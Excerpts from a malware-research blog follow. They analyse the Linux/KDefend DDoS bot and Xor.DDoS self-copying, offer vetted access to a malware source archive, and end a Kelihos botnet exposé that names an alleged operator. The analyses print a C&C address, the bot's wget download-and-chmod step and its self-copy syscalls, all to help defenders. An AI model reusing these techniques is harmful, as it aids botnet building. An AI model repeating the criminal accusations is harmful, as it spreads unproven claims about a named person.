94.76.78.20|94.76.78.20.freenet.com.ua.|31148 | 94.76.78.0/24 | FREENET | UA | freenet.com.ua | Freenet Ltd.
95.26.143.146|95-26-143-146.broadband.corbina.ru.|8402 | 95.26.0.0/15 | CORBINA | RU | beeline.ru | Beeline Broadband
95.65.55.6|95-65-55-6.starnet.md.|31252 | 95.65.0.0/17 | STARNET | MD | starnet.md | StarNet S.R.L
The snip of recent checked important IP addresses (in historical):

Follow up

With the good help from friends in EmergingThreat, the herder can kiss his botnet CNC traffic to its peers a goodbye from now on.

Epilogue

This post is as a new additional "sin" for ↓this cyber crook↓ against our internet services.
Only a stupid fool like ↑this herder makes same mistakes over and over.

If you want to see a solid proof that what so called "Petr Severa" is the herder of Kelihos botnet, please watch the slides and video for our BotConf presentation in 2013 posted in BotConf Website [link].

POC OF CORRECT INVESTIGATION :-)
The botherder closed the CNC 2 dedicated servers with its 10 IP addresses in USA that we disclosed in this post - #MalwareMustDie *SMACKED* Severa (again!)

If you have doubt of any truth stated in this post, see yourself the reaction of the botherder after we released this disclosure, the botherder had closed the account of the dedicated servers mentioned in this post (it was much more viewable before the censorship request received) in December 2015 after the original post was published online. Some PoC of this paragraph is the information below:

This herder is a Russian national, a known cyber crime actor resides in Russia Federation's St. Petersburg, and he is still out there lurking all of us with his botnet which is actively malvertised its initial infection for expansion purpose via a known Exploit Kit, and affiliated in several malware campaign distribution until today. We, reported his positive real identification and evidence of his crime records since 2013, and he is still out there "untouchable by law", controlling his botnet and making illegal money from it. From now on, in every new years to come, if he is still operated freely, we will disclose deeper and deeper details of the actor's threat + infrastructure he has, and we won't stop until he stopped or be stopped. It's a promise.

For people who says we are vigilante, we're not the bad guys, he is. We're asking for a crime to be stopped, by law we believed in. Until the law is preserved against this asshole, we will keep on disturbing him.

#MalwareMustDie!

* * * Psalm 139 - God Knows Everything * * *

139 Lord, you have examined me
    and know all about me.
2 
You know when I sit down and when I get up.
    You know my thoughts before I think them.
3 
You know where I go and where I lie down.
    You know everything I do.
4 
Lord, even before I say a word,
    you already know it.
5 
You are all around me in front and in back
    and have put your hand on me.
6 
Your knowledge is amazing to me;
    it is more than I can understand.
7 
Where can I go to get away from your Spirit?
    Where can I run from you?
8 
If I go up to the heavens, you are there.
    If I lie down in the grave, you are there.
9 
If I rise with the sun in the east
    and settle in the west beyond the sea,
10 
even there you would guide me.
    With your right hand you would hold me.
11 
I could say, “The darkness will hide me.
    Let the light around me turn into night.”
12 
But even the darkness is not dark to you.
    The night is as light as the day;
    darkness and light are the same to you.
13 
You made my whole being;
    you formed me in my mother’s body.
14 
I praise you because you made me in an amazing and wonderful way.
    What you have done is wonderful.
    I know this very well.
15 
You saw my bones being formed
    as I took shape in my mother’s body.
When I was put together there,
16 
you saw my body as it was formed.
All the days planned for me
    were written in your book
    before I was one day old.
17 
God, your thoughts are precious to me.
    They are so many!
18 
If I could count them,
    they would be more than all the grains of sand.
When I wake up,
    I am still with you.
19 
God, I wish you would kill the wicked!
    Get away from me, you murderers!
20 
They say evil things about you.
    Your enemies use your name thoughtlessly.
21 
Lord, I hate those who hate you;
    I hate those who rise up against you.
22 
I feel only hate for them;
    they are my enemies.
23 
God, examine me and know my heart;
    test me and know my anxious thoughts.
24 
See if there is any bad thing in me.
    Lead me on the road to everlasting life.

#MalwareMustDie!

Friday, December 4, 2015

MMD-0045-2015 - KDefend: a new ELF threat with a disclaimer

Background

It's been a while not writing new analysis in our blog & this timing is just perfect.
On December 1st, 2015 this sample was detected by our ELF team member @benkow_

..and our ELF Team started to investigate the threat and come into conclusion that another new ELF malware was spotted, and post this is the report. It was calling itself "KDefend" or "KDLinux", so we call it as "Linux/KDefend" then. We separate some tasks in members in this report, and will cover to highlights of this new malware hopefully will help others in tracking and mitigating the threat for the future. I will do the ELF binary analysis to figure what kind of threat it is, with some pointer hint in my analysis that hopefully can be useful for fellow UNIX sysadmins and malware researchers.

The KDefend; How does it look like?

It is a bit unusual to our post, but I decided to write the behaviour part first this time for you to see the fact that we would like to stress in this new malware finding.
The binary is in here -->[virustotal] with the below status:

[0x08049880]> !file task
task: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, 
      interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.9, not stripped
[0x08049880]> !md5 task
MD5 (task) = f93d664aac485af82ec863c251626441
[0x08049880]> !size task
   text    data     bss     dec     hex filename
  44871    1396  772660  818927   c7eef task
Upon execution it will show a nice logo:

Please don't mind my shell's language & character setting is just unmatched to original encoding and caused the garbled result in the screenshot, it's not a problem. With a good team work (thank's to @wirehack7 for good chinese decoding tip) I reversed the function that printed and decoded the characters used to show the original chinese language used, and then we also "free-translated" it too as per below:

So now you see.. here it is, that message in the logo is our other main topic for today, we have a new malware pretending as a stress tool and having a "disclaimer message" as per shown above.
*) Noted: the translation was a free translation level, feel free to help in correcting it. Thanks!

How does the infection (attacker, panel and CNC) go?

Well okay, first, let's see if this so called "stress tool" was being used as per what its disclaimer said... Which is unfortunately not. It was found in action during its effort to infect a linux server with the SSH brute access as per logged below:

The attacker IP & download panel IP is all 60.190.216.225 and it looks like the CNC is set to same IP too:

Connecting to 60.190.216.225 8090..
unknown [60.190.216.225] 8090 open
Connection to 60.190.216.225 8090 port [tcp/*] succeeded!
MMD-LOVE-ELF->60.190.216.225:8090 (ESTABLISHED)
it's showing the location somewhere in PRC/China:
[0x08049880]> !ipchk geo 60.190.216.225
-----------------------------------------------------------
ipchk-shell 1.5 FreeBSD version - by @unixfreaxjp
-----------------------------------------------------------
Source : geo
IP     : 60.190.216.225
-----------------------------------------------------------
geoip:
{
  "ip": "60.190.216.225",
  "hostname": "No Hostname",
  "city": "Shaoxing",
  "region": "Zhejiang Sheng",
  "country": "CN",
  "loc": "30.0110,120.5715",
  "org": "AS4134 No.31,Jin-rong Street"
}
So this malware was homing to the mothership and sending its initial traffic which is the infected machine's sensitive information like what we recorded here:

...and it is stated:
     it's prohibited for illegal use
     the author is not responsible  
Sweet! :) we can go back to this "moral issue" later on. Let's move on first to peel this a bit more..

How is it built?

Below is the details on how this malware was built, mind the text format. Please refer to the status of the binary above beforehand. There's nothing so special in it, but it's always good to know these level of information:

// compiler:
        GCC 3.0

// compilation environment:
        GCC: (GNU) 4.1.2 20080704 (Red Hat 4.1.2-44)

// linked libraries used
        linux-gate.so.1 =>  (0xb7749000)
        libpthread.so.0 => /lib/i386-linux-gnu/i686/cmov/libpthread.so.0 (0xb7724000)
        libstdc++.so.6 => /usr/lib/i386-linux-gnu/libstdc++.so.6 (0xb7638000)
        libm.so.6 => /lib/i386-linux-gnu/i686/cmov/libm.so.6 (0xb7611000)
        libgcc_s.so.1 => /lib/i386-linux-gnu/libgcc_s.so.1 (0xb75f4000)
        libc.so.6 => /lib/i386-linux-gnu/i686/cmov/libc.so.6 (0xb7490000)
        /lib/ld-linux.so.2 (0xb774a000)

// first copy of libs listed in ELF 1st image addresses can be found below:
000000000134  /lib/ld-linux.so.2
0000000007C5  libpthread.so.0
000000000881  libstdc++.so.6
000000000C5F  libm.so.6
000000000C69  libgcc_s.so.1
000000000C86  libc.so.6

// these are the source codes resource:

---------------------
1. 0x011851   main(.cpp)
---------------------

---------------------
2. 0x00E641   crtstuff.c 
(BE NOTED: This is a GCC constructors/destructors for C++ obj/Open Source)
---------------------
*)ref: http://www.opensource.apple.com/source/gcc/gcc-5488/gcc/crtstuff.c
0x00E64C   __CTOR_LIST__
0x00E65A   __DTOR_LIST__
0x00E668   __JCR_LIST__
0x00E675   dtor_idx.5793
0x00E683   completed.5791
0x00E692   __do_global_dtors_aux
0x00E6A8   frame_dummy
0x00E6B4   __CTOR_END__
0x00E6C1   __FRAME_END__
0x00E6CF   __JCR_END__
0x00E6DB   __do_global_ctors_aux

-------------------------
3. 0x00E6F1   synserv.cpp
-------------------------
0x00E6FD   _GLOBAL__I_dout
0x00E70D   __tcf_6
0x00E715   _Z41__static_initialization_and_destruction_0ii
0x00E745   _ZSt8__ioinit
0x00E753   __tcf_4
0x00E75B   __tcf_5
0x00E763   __tcf_3
0x00E76B   _ZZ12GetTxPpsByIfRKSsiE7s_ticks
0x00E78B   __tcf_2
0x00E793   _ZZ12GetTxPpsByIfRKSsiE9s_packets
0x00E7B5   __tcf_1
0x00E7BD   _ZZ6GetPPSPciE7s_ticks
0x00E7D4   __tcf_0
0x00E7DC   _ZZ6GetPPSPciE9s_packets
0x00E7F5   _ZZ6GetCpuvE3s_u
0x00E806   _ZZ6GetCpuvE3s_i
0x00E817   _ZZ6GetCpuvE3s_s
0x00E828   _ZZ6GetCpuvE3s_n
0x00E839   _ZGVZ12GetTxPpsByIfRKSsiE9s_packets
0x00E85D   _ZGVZ12GetTxPpsByIfRKSsiE7s_ticks
0x00E87F   _ZGVZ6GetPPSPciE9s_packets
0x00E89A   _ZGVZ6GetPPSPciE7s_ticks
0x00E8B3   _ZGVZ12SendCPUUsagevE9lastConID
0x00E8D3   _ZZ12SendCPUUsagevE9lastConID
0x00E8F1   _ZZ12SendCPUUsagevE14s_lastCpuUsage

---------------------
4. 0x00E915   syn.cpp
---------------------
0x00E91D   _GLOBAL__I_g_cycleInfo
0x00E934   g_sockArray
0x00E940   g_cycleSynDip
0x00E94E   g_pktsSize
0x00E959   g_pktsBufferQueue
0x00E96B   g_pktsBufferQueueInit
0x00E981   g_lockSockCreation
0x00E994   g_lockSockIdx
0x00E9A2   g_sockIdx
0x00E9AC   __preinit_array_start
0x00E9C2   __fini_array_end
0x00E9D3   _GLOBAL_OFFSET_TABLE_
0x00E9E9   __preinit_array_end
0x00E9FD   __fini_array_start
0x00EA10   __init_array_end
0x00EA21   __init_array_start
0x00EA34   _DYNAMIC
0x00EA3D   data_start
I don't know how to comment here..except a unix programming beginner is coding and compiling a .cpp coded malware. It's always good (at least for my research) to know how or where the source is and what libraries are used, so we can know exactly where to after our malcodes. In analysis of a dynamic linked ELF binary, like this case, I used to breakdown each library before start hitting any disassembler to reverse the purpose.

The short explanation of the libraries used above are:
linux-gate.so.1 is known as a virtual DSO, a shared object exposed by the kernel at a fixed address in every process' memory. ld-linux.so.2 is a "locator" to load the dynamic libraries it needs for execution, it searches for and loads the unresolved libraries, and then it passes control to the application starting point. libm.so.6 contains functions to mathematical process libs. libpthread.so.0 (POSIX threads) is used for threaded programming, in this code it was used for send, connect, recvfrom, sendto and its threat connection mutex. libstdc++.so.6, libgcc_s.so.1, and libc.so.6 is for cpp and GCC/libc programming base functions. The leftover ones are mostly the source code related trails.

What does it do? How does it run? A summary..

It is an explanation on an idea on how it firstly runs. After the loading & print "that logo" data, it starts the daemonized UDP listener & threading its process to listen into UDP/52066. So this is the backdoor function number one. Upon failed binding into UDP/52066 it will retry and upon succeed it will use another backdoor connection to the hard coded CNC IP/port via DDosSock_Init/0x0804cb8c (see the ip/port written in above section), then start to harvest the data of client to be in communication with their mothership (via ConnectClient/0x0804cb9a).

Noted the UdpLitenThread typo, it is really a "Deja Vu" typo for a specific previous malware case and coder's MO, I will go to that soon..

From above step, it utilized an "almost generic" CreateConnectSocket()/0x0804a3ac for the remote connection, it uses original GetSysinfo() (0x0804A0DE) for information harvest purpose that is responsible for the initial data sent in the pcap captured at above section.

You'll also see further backdoor functions executed like NetPPS and CPUUsage will be used to send its self-explanatory data to the mothership. The important part is, in the SendNetPPS() function you'll see the usage of "ifconfig" shell command used for grabbing the transmitted packet data (see in subs GetTxPacketsMap), was executed and piped with "grep" for its desired data:

Well, as you saw in above section, I blocked the ifconfig in the path searched by this malware:

and did you see how the data sent to the CNC? While it can't grep, it seems it doesn't implement the error trapping and the variable names stays there as per it is :) That's why I personally think it's an amateur was hired to make this code, maybe we just have to seek for a youth malcode programmer again for it.

It has another backdoor too like: the updater function, it was calling DealwithUpdate()/0x0804B5EE for getting the updates with kicking another shell command "wget -t3 -O", refer to function download()/0x804b67b:

Upon post-downloading, the executable permission is set, using "chmod -R 777" for further process:

*) Noted:
1. Most of operation invoking shell or pipes are driven by using the stdio.h's popen() and pclose().
2. It notices itself as "KDLinux" that can be seen in the download process.

More information that are interesting to dig: (1) The UDP opened port was meant to receive encoded data for being used as a bot operational purpose, it has the decoder function (xref: 0x0804cce9) for that purpose. (2) This is a DDoS'er bot: the attack vectors is controlled by DealwithDDoS() main function, used are covering some basics and what they call it as "Cycle" a custom SYN flood attack (will not going to discuss it "too" detail in here), as per listed below:

  TcpFloodThread ; send some tcp packets
  NormalSendThread ; socket connecting and flood
  NormalUdpPacketThread ; simple UDP connect and flood
  NormalSynPacketThread ; simulate SYN connection to flood
  NormalDnsSendThread ; connects & manipulates DNS search..not sure how to apply this
  CycleSynSendThread ; original made SYN attack
  SynSendThread_Old ;; // it's uncoded
Furthermore, the DealwithDDoS() is the function that is commonly used in Chinese actor's made ELF flooder malware since Linux/Elknot DDoS'er bot variant era, then Linux/AES.DDoS and Linux/Mr.Black are also using this function as their main attack manager function until now. If you follow ELF Workshop Malware Analysis that I am doing, I made and demonstrated a simple personal ELF analysis system that I called it as "ELF skeleton (literally looks like skeleton)", it has the function scanning to check calls like this, below is the snapshot of its check result on DealwithDDoS():
*) Noted: It shows that the ChinaZ is in the list, but that is actually the AES.DDOS malware they used(parent of Mr.Black for router basis ELF malware).

So what this malware does? It's a backdoor (bind/listen to an opened port, making unnoticed callback to a remote host & send server's sensitive information), it's a remote bot client for DDOS attack purpose that receiving encoded commands via connected ports, A Trojan Downloader too (for updates purpose apparently..but who knows what can be expanded/applied more in here), and these are the major functionality of this malware.

Is it meant to be a tool as per stated in the disclaimer? No way. The way it decodes commands, the specific flood used, the backdoor (homing and listening to open port) functions and the trojan-like downloader part, altogether doesn't show any of good tool specification.

Who's the possible actor of this incident?

Could this be another ChinaZ's new malware experiment? Why not. Judging by their development MO (leftover unwanted function uncoded instead eliminated them), copy pasting known other China ELF malware's functions, networking used and some of their typical typo, ASCII & symbols "china brand" are matched to some incidents of ChinaZ actors, we have strong possibility for it.

The ChinaZ group is also the most aggressive one in the market in research and development for the new trojan ddoser, they made new codes, buying other chinese ELF sources, contacting several C coders to combine functionality to make a better ELF bruter trojans, like this.

Epilogue: A DDoS'er with "Disclaimer" vs "Rule of Engagement"

We think the message used in "Disclaimer" part is an important aspect here. The coder is trying to bend the responsibility of what he coded by writing few lines to dodge from responsibility. This smells just as the same excuse used as previous ChinaZ coder spotted in the GitHub [link]. Below are the opinions from our team mates due to this "Disclaimer issue" that I think it is worth to share as opinions, and please feel free to tweet us your opinion to be added in this post.

"I believe in RoE - "Rules of engagement". It is super bad violation of RoE to use these tools against something you do not own, or have well and just cause to discharge against. The internet is not having a certain rules, just like a battlefield, and everyone is armed, or can potentially become armed. So discipline is utterly paramount to having a stable and peaceful internet. It is a major violation of RoE to use these tools against something you do not own or don't have a well and just cause to do so." @yinettesys

"Creating illegal tools remains illegal, even if you write "only for legal use". No matter "un-harmful" it is stated. This program is clearly meant to harm other host in internet. It's the same to forbid the creation of bombs but then normal people are creating some for "research use. This disclaimer is used by malware authors writing to dodge laws. "Don't use for illegal things"..words is bailing out and tacking the backdoor with "use only for legal purposes" which is never making any sense. It's just like you are admitting there that you actually know that actions performed by this tool is illegal but spread it anyway with making it public aka releasing it, and then a bad person using it.." @wirehack7

"The similar disclaimer for many DDoS tools is a trend now, specially in the DDoS related services or threat. And this malware coder is seeing how that disclaimer method is effective and just utilizing it. Hopefully our law can see how dangerous this tool it is by function explained in this analysis, and see by the real penetration/infection/attack that is currently distributed. There is no legality on its scheme. It is a malware with its complete malicious functions intact, and the malware coder has his own responsibility to build such aggressive software." @unixfreaxjp

Latest Memo:

All analysis was done (as usual) in FreeBSD unix shell with radare, only ELF skeleton that's using different scheme. Thank's to help/support from MMD ELF team mates, MMD folks and all malware fighter-brotherhood for motivating us to keep on posting.

Follow up:

Please stay safe! #MalwareMustDie!

Monday, November 23, 2015

MMD-0044-2015 - Source code disclosure of bunch of SkiDDoS ELF malware

This sharing has been closed due to time limit (60days) - Thank you

MalwareMustDie,NPO is a white-hat non-profit security research workgroup launched in August 2012 for/by security professionals and malware researchers gathered to form a work-flow to reduce malware infection in internet. In this opportunity I, hereby, on behalf of the active projects and field operational ELF malware researches, am sharing first series of ELF malware source code collected in action and secured in 2015, wrapped in a form of RAR(version 5) password-archive, with its further additional.

As per internally decided, we are now having new scheme of sharing malcodes, to reduce the unwanted access to the archive, the file was uploaded to the virus total with the hash of:

SHA256 (ELF-malware-in-C-leaks.rar) 
43a383bb8b2fa799a0a06a585c52e91f6ea1c877bba12c21e691e32a99f9adf4
The password has a high character count and the archive was built in a way to avoid brute. You can receive the password by commenting this post with informing your current active email address and the detail of which known security entity you are actually working with (or anti-viruses entities, or law enforcement research agencies, or government related interet security incident response & research teams, i.e: SOC/CERT/CSIRT, as entities allowed t receive these code) and the comment will not be published to the public (feel free to test it first).

We will check each request and not sharing the password to unknown individual/independent contacts without clear confirmed information/identification of who they are. These are malware source codes and not malware samples nor toys to play with, it is a very dangerous material to be passed to wrong hands. Please bear with the slowness in response due to the check process and due the fact that we are a non-profit organization, with limited resources and only active in our spare time.

The archive will stay online for two months, after that period we won't share it anymore and will delete our files. Don't request the code after this time has passed. We are not responsible to any of damage that will occur due to the misuse of the shared material, please read our Legal Disclaimer and Sharing Guide for more information-->[here]

What can be achieved by these source code are:

- better mitigation of the leaked ELF botnet specific type/variants
- several hard coded leads for prevention of DDOS attack methodology used to research
- several exploitation research that can be produced and implemented by each ELF botnet
- you may publish research of these code(s), on a condition: mention us, #MalwareMustDie.
  (we did the hard part in achieving, collecting, selecting, testing and sharing -
   these codes, for free)

Below is the snapshot of the original archive, that you will see after you open it correctly.
The total codes shared in this part is 21 (twenty one) source code, all in C except one bonus in html.

I think I will see how this first part of the new scheme of sharing goes with studying the negative aspects for it, if things go well, for the next part (part 2 of sharing) will be focusing on the share on source codes for the ELF threats codes that is collected from some "specific" regions :-)

Additional ELF malware source code..

As per mentioned below:

This is the additional's share with the same method & the arvhive was uploaded to virus total with hash:

SHA256 (mmd-extra.7z)
9464b4443d4ce19977d774bddf4b1987c4e090f1ac4ccb80d534e0e593a2b41c
it's using a different long-password, you can ask for it by the same scheme.

PS: This (below) action will be executed as response of a further attacks from the shared source codes malware bad actors :-)

Cheers from #MalwareMustDie

Friday, September 18, 2015

MMD-0043-2015 - Polymorphic in ELF malware: Linux/Xor.DDOS

Background

A share of knowledge I have, hopefully to make internet safer - @unixfreaxjp

The threat of Linux/XOR.DDoS, a China-made ELF backdoor & ddoser malware, a rather specific threat compares to other Chinese ELF ddosers, and it's still on going. I just received a good question (from I assumed from a victim of infection or a researcher) about why the found malware binary is not the same as what was firstly executed one. Well, this writing is short and covering the answer for the asked question only. But, the information maybe important for the mitigation and detection, and also various methodology I use for the sharing to other NIX mates, so I write this post with three processes I conduct to every ELF malware investigation: in reversing, debugging and forensics ways. Please bear with the poor english since I had few time to check, or to the lack of the explanation.

Polymorphic is a behavior of malware during self-reproduction constantly changes ("morphs") the file characteristic (size, hash, etc), and it may not be the same with the previous copy or as previous pre-infection state. The goal of this changes is to makes it difficult for signature-based antivirus software programs to recognize and detect the polymorphed malware.

Polymorphic method in malware is an usual practise in windows malware. In UNIX malware maybe it is not as commonly heard as in Windows; but since the nature of NIX malware are coming from networking, either to be "extracted" from encoder/infector files, downloaded or dropped by other malware from the beginning, so..I guess we have many hashes by default. But in this post, we are actually dealing with a polymorphic behavior malware just like ones infecting Windows during the self-copy method.. so I guess it is worth to write a bit.

The reported case was a real infection, a case of known gang/crooks, I am allowed to post the the attack log as per following:

Yes, it is a recent attack, please block the IP addresses.

The above log is typical Linux/Xor.DDOS hostasa.org ssh brute attack pattern. I announced the case not so long ago here (different cases, same attacker)-->[link] and the recent incident was reported too in here-->[link]. I uploaded this ELF malware sample into Virus Total w/the link is here-->[link].

Polymorphic PoC

When Linux/XOR.DDoS malware was executed, it will come to the stage that it seeks the place to self-copy it self, in my case the linux system call can show us the effort to write file like:

open("/usr/bin/lgjgjmkkgd", O_WRONLY|O_CREAT, 0777) ; depends, in mine is -1 EACCES (Permission denied)
open("/bin/lgjgjmkkgd", O_WRONLY|O_CREAT, 0777)     ; depends, in mine is -1 EACCES (Permission denied)
In a well-hardened linux system and if the malware is not executed as root you should see the same result as per pasted above. And that time the malware will aim to the only their favorite heavenly place to copy: /tmp :
open("/XOR.DDOS.SAMPLE", O_RDONLY)      ; initial exec malware open itself
lseek(3, 0, SEEK_SET);                  ; set LSET to OFFSET to READ
open("/tmp/lgjgjmkkgd", O_WRONLY|O_CREAT, 0777); open self-copy target w/perm 777
read(3, "\177ELF\1\1\1\0\..");          ; read the malware bin
lseek(4, 0, SEEK_SET)                  ; set LSET to OFFSET to WRITE
14878 read(3, "\177ELF\1\1\1\0\…       ; copy process read..
14878 write(4, "\177ELF\1\1\1\0\…      ; copy process write

By reverse engineering the ELF malware, after seeking for a while, the assembly procedure below is responsible for the above operation: (the bigger picture click-->>THIS )


You can see the cascade of jumps during each error that might occur until it ends up to the accessed one for the self-copy purpose, starting from /usr/bin to /bin , and in my case it is ended with /tmp/[randomname]. The filename is random and the full path with the directory aimed is to be "fired" via an original API to execute the execve(), but we will go to this topic later on.

In Linux memory forensics the blob data copied can be seen clearly with some beautify effort, a good old hexdump is still a favorite in dealing with raw hex data:

## Copy process illustration (read and write of copy process) in the end of file:
[...]
00098bd0  6d 65 00 5f 64 6c 5f 6d  61 70 5f 6f 62 6a 65 63  |me._dl_map_objec|
00098be0  74 5f 64 65 70 73 00 5f  6e 6c 5f 43 5f 4c 43 5f  |t_deps._nl_C_LC_|
00098bf0  49 44 45 4e 54 49 46 49  43 41 54 49 4f 4e 00 5f  |IDENTIFICATION._|
00098c00  64 6c 5f 6e 73 00 5f 6e  6c 5f 6c 6f 61 64 5f 6c  |dl_ns._nl_load_l|
00098c10  6f 63 61 6c 65 5f 66 72  6f 6d 5f 61 72 63 68 69  |ocale_from_archi|
00098c20  76 65 00 77 63 74 72 61  6e 73 00                 |ve.wctrans.|
00098c2b
And the copy process was ended gracefully, as per debug check shows in the system call below:
read(3, "", 4096):   ; EO/termination w/no space
close(3);            ; end of copy (reading)
close(4);            ; end of copy (writing)

Nothing so special about operation above, but it is related to the next steps, let's go forward.. Now, we can see up to here that the malware was self copied! But why the file gets different?
The next system's call showing the effort to open the written file afterward with flag to write.. What's going on?

open("/tmp/lgjgjmkkgd", O_WRONLY); ; opening the copied file
lseek(3, 0, SEEK_END) = 625707 <==size  ; set LSET to the EOF for writing
; SEEK_END = *)    ; note the size of original malware
It looks like the pointer of LSET used to write is pointing to the end of the file itself, noted the SEEK_END flag. For the illustration see the paste "*)" position below:
## Illustration of the LSET set in the end of file..

00098bd0  6d 65 00 5f 64 6c 5f 6d  61 70 5f 6f 62 6a 65 63  |me._dl_map_objec|
00098be0  74 5f 64 65 70 73 00 5f  6e 6c 5f 43 5f 4c 43 5f  |t_deps._nl_C_LC_|
00098bf0  49 44 45 4e 54 49 46 49  43 41 54 49 4f 4e 00 5f  |IDENTIFICATION._|
00098c00  64 6c 5f 6e 73 00 5f 6e  6c 5f 6c 6f 61 64 5f 6c  |dl_ns._nl_load_l|
00098c10  6f 63 61 6c 65 5f 66 72  6f 6d 5f 61 72 63 68 69  |ocale_from_archi|
00098c20  76 65 00 77 63 74 72 61  6e 73 00 *<====          |ve.wctrans.*) <==
00098c2b
And then we have these two operation called timeoftheday() and writing the specific strings in the end of the file:
gettimeofday({1442479267, 397488}, NULL) ; for randomid() seed..
write(3, "wlpvpovdvi\0", 11) ; 'size is set to 11'
    ; write string "wlpvpovdvi\0"-
    ; in the LSET position (EOF)
So this is what happened for BEFORE and AFTER the writing:

So we see the file was added to 11 characters, which means we should have 11 bytes bigger for the size of file after this self-copy process, we'll get there..hang on!

Following the calls of the malware process, we can see the new file was saved:

close(3)  ; end of writing process..
And executed! Noted: execve() function is used to spawn the shell command.
execve("/tmp/lgjgjmkkgd", ..); ; main running process of XOR.DDOS in new PID
                               ; with new size (& hash)
You can see how it was executed in the saved process data in the /proc :-), so believe me, it doesn't really any fancy tools for UNIX forensics, since UNIX gods already provided us openly with everything:
lgjgjmkkg 14881 MMD  cwd   DIR  8,6     4096        7209106 /TESTDIR
lgjgjmkkg 14881 MMD  rtd   DIR  8,1     4096              2 /
lgjgjmkkg 14881 MMD  txt   REG  8,1   "625718 <== NEW SIZE" 829 /tmp/lgjgjmkkgd
lgjgjmkkg 14881 MMD    0u  CHR  1,3      0t0           1028 /dev/null
lgjgjmkkg 14881 MMD    1u  CHR  1,3      0t0           1028 /dev/null
lgjgjmkkg 14881 MMD    2u  CHR  1,3      0t0           1028 /dev/null
..as per seen here it runs in new PID , not clone nor forking/threading since execution used the shell spawning. See the new size, it gets bigger by 11 bytes.

Below is the illustration of malware samples original and after copy-injected.

$ md5sum XOR.DDOS.SAMPLE lgjgjmkkgd
"7642788b739c1ee1b6afeba9830959d3"  XOR.DDOS.SAMPLE
"df50d096fb52c66b17aacf69f074c1c3"  lgjgjmkkgd

$ ls -l XOR.DDOS.SAMPLE lgjgjmkkgd| awk '{print $5, $6, $7, $9}'
"625718" Sep 17 lgjgjmkkgd
"625707" Sep 17 XOR.DDOS.SAMPLE
We have different hash and size.

Okay, we're done with the debugging and forensics. Let's see how the reverse engineering goes for this ELF malware binary for the above processes.

This is the part where the malware self-copy process was executed in my sample case. Noted: there are so many cases to trail with the similar codes in copying, write files and randomizing them, I counted about more than 4 scenarios prepared for this operation and the author really calculate every possibilities in his code to make sure the malware will run.

the jump to 0x804dfc2 will take you to the next process.

The assembly snip below is explaining the writing process to the done-copied file by the malware, it is not using the randomizing 11 characters but the malware was picking a hard coded xor crypt strings that is saved in 0x080cf120 (symbol: str.__Ff3VE._7).

The snprintf() is an API function that will lead (in the VERY end) to SYS_write at sys/syscall, since we deal with the statically compiled ELF many libc trails will appear in reversing the function, we may see more of these, sorry to say, unnecessary codes.

The timeoftheday() result which was shown during debugging is caused by the function which was called, named function randomid().

↑Obviously, is a self-explanatory that the timeoftheday() is fetching the system time as the seed needed in randomid() function.

There is an additional information too actually: I think maybe it is good for our community to know too: Linux/XOR.DDoS ELF malware is using a uncommon seen function to execute the shell command, it was called: LinuxExec_Argv() and LinuxExec_Argv2(), which was called to act as an API to execute non direct syscall basis commands by the malware (well, this is a static compiled binary), these functions are typical in characteristic, it is a very simple in use, easy to spot (smile) and these are responsible to call execve(), a linux system call commands (with the environment parameter parsed) to be executed during an infection, and also to call execvp() for the file execution purpose (with parsing the file path), i.e. shown in the code below:
You may want to see the reference of exec method with UNIX C library (libc) on execve, execvp at man(2) pages, and yes, UNIX gods are also providing us with good reference too.

Conclusion & reference

Yes, Linux/XOR.DDoS malware after copied and executed (read: successfully infecting us) will have a different size (11 bytes bigger..depends.. I only check one binary for this), and have a different hash. So this means that the malware spotted in the panel may not be detected by the scanner used inside of the Linux box if only detecting by the hash.

Many of us still think, Yeah..ELF malware..won't harm us or end users much.. But remember, IoT are mostly linux basis, take a look of the most of router's OS now. Also, the infection method and volume of ELF malware is getting better and bigger by days. As proof: We have about 6 of new ELF malware for 2 and half years span only! As MMD (read: MalwareMustDie, NPO), we suggest to be prepared to update the ELF malware detection quality as earliest as possible, once an ELF malicious binary hit a server the impact can be way much bigger than a PE hit a PC.

Below are links to the previous Linux/XOR.DDoS analysis:.
http://blog.malwaremustdie.org/2015/07/mmd-0037-2015-bad-shellshock.html
http://blog.malwaremustdie.org/2014/09/mmd-0028-2014-fuzzy-reversing-new-china.html

The "new" CNC of the threat:

Oh btw,the CNC is very alive even now...and sending the download/payload too. here's the pcap snips for a hard proof:


Kudos radare.org folks for convincing me to upgrade to git version from /usr/ports one:

Stay safe folks! Hope this short writing helps!

#MalwareMustDie